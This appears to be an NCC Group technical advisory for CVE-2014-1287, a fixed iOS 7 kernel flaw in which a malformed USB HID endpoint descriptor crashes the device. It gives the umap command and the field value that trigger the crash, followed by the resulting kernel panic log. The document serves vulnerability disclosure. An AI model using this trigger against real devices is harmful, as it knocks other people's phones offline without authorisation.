NCC00596 Technical Advisory: iOS 7 arbitrary code execution in kernel mode

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Vulnerability Summary
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Title iOS 7 arbitrary code execution in kernel mode
Release Date 14 March 2014
Reference NGS00596
Discoverer Andy Davis
Vendor Apple
Vendor Reference 600217059
Systems Affected iPhone 4 and later, iPod touch (5th generation) and later,
iPad 2 and later
CVE Reference CVE-2014-1287
Risk High
Status Fixed

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Resolution Timeline
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Discovered 26 September 2013
Reported 26 September 2013
Released 26 September 2013
Fixed 10 March 2014
Published 14 March 2014

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Vulnerability Description
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When a specific value is supplied in USB Endpoint descriptor for a HID device
the Apple device kernel panics and reboots

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Technical Details
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The bug can be triggered using umap (https://github.com/nccgroup/umap)
as follows:

sudo python3 ./umap.py -P /dev/ttyUSB0 -s 09:00:00:E:46

bMaxPacketSize = 0xff

Incident Identifier: F0856C91-7616-4DAC-9907-C504401D9951
CrashReporter Key: 7ed804add6a0507b6a8ca9625f0bcd14abc6801b
Hardware Model: iPhone3,1
Date/Time: 2013-09-26 12:35:46.892 +0100
OS Version: iOS 7.0 (11A465)

panic(cpu 0 caller 0x882220a5): kernel abort type 4: fault_type=0x1,
fault_addr=0x28
r0: 0x00000003 r1: 0x889e70bd r2: 0x00000012 r3: 0xfffffffe
r4: 0x9ae83000 r5: 0x00000003 r6: 0x00000000 r7: 0x87ff3d78
r8: 0x00000000 r9: 0x00000000 r10: 0x00000000 r11: 0x00000001
r12: 0x87ff3d50 sp: 0x87ff3d10 lr: 0x88af52bf pc: 0x88af51f8
cpsr: 0x80000033 fsr: 0x00000005 far: 0x00000028

Debugger message: panic
OS version: 11A465
Kernel version: Darwin Kernel Version 14.0.0: Tue Aug 13 21:39:05 PDT 2013;
root:xnu-2423.1.73~3/RELEASE_ARM_S5L8930X
iBoot version: iBoot-1940.1.75
secure boot?: YES
Paniclog version: 1
Kernel slide: 0x0000000008200000
Kernel text base: 0x88201000
Epoch Time: sec usec
Boot : 0x52441b69 0x00000000
Sleep : 0x00000000 0x00000000
Wake : 0x00000000 0x00000000
Calendar: 0x52441bb5 0x00056497

Panicked task 0x896f8d48: 12856 pages, 114 threads: pid 0: kernel_task
panicked thread: 0x8023de90, backtrace: 0x87ff3a48
lr: 0x88317889 fp: 0x87ff3a7c
lr: 0x883181f7 fp: 0x87ff3ab0
lr: 0x882b783b fp: 0x87ff3ad4
lr: 0x882220a5 fp: 0x87ff3ba0
lr: 0x8821c7c4 fp: 0x87ff3d78
lr: 0x88af8687 fp: 0x87ff3da8
lr: 0x8828b5bd fp: 0x87ff3dd0
lr: 0x889d6d29 fp: 0x87ff3df0
lr: 0x889da2f3 fp: 0x87ff3e18
lr: 0x8828b5bd fp: 0x87ff3e40
lr: 0x889da14f fp: 0x87ff3e7c
lr: 0x88acb8e7 fp: 0x87ff3eb8
lr: 0x88ac9815 fp: 0x87ff3ed4
lr: 0x884b24d3 fp: 0x87ff3f60
lr: 0x882cf869 fp: 0x87ff3fa8
lr: 0x8821f05c fp: 0x00000000

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Fix Information
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A patch can be downloaded from the following location:
http://support.apple.com/kb/HT1222

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NCC Group
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